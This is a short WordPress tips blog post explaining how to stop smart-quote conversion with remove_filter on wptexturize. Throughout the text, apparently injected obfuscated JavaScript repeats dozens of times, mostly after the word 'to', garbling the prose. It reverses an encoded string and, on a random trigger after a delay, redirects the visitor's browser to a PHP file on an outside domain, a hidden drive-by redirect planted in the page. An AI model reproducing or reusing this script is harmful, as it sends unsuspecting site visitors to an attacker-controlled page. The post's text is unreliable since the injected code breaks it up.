Get rid of curly quotes in your WordPress blog

If you’re a developer who often publishes code snippets on your website, you might have encountered the following annoying problem: someone points out that the code you posted doesn’t work. Why does that happen? It’s quite simple: WordPress by default replaces normal quotes with “smart quotes” and that is what breaks your code snippets.

In order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to get rid of these curly quotes do the following:

  1. Open your theme’s functions.php file. (* if it doesn’t exist, create one)
  2. Paste the following code: <?php remove_filter('the_content', 'wptexturize'); ?>
  3. Save the file, and forget about broken code snippets!

Explanation: the wptexturize() function autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatically turns normal quotes intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to smart quotes. Using the remove_filter() function, we tell WordPress not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to apply this function toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our posts’ content. Filter functions are very powerful as they allow you toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to override some WordPress features without modifying the WP core.

Source:  $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-get-rid-of-curly-quotes-in-your-wordpress-blog” target=”_blank”>www.wprecipes.com/how-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-get-rid-of-curly-quotes-in-your-wordpress-blog

CATEGORY: Tips & Tricks
DATE: February 1st, 2010 & LEAVE YOUR COMMENT HERE

FILTER BY

Colors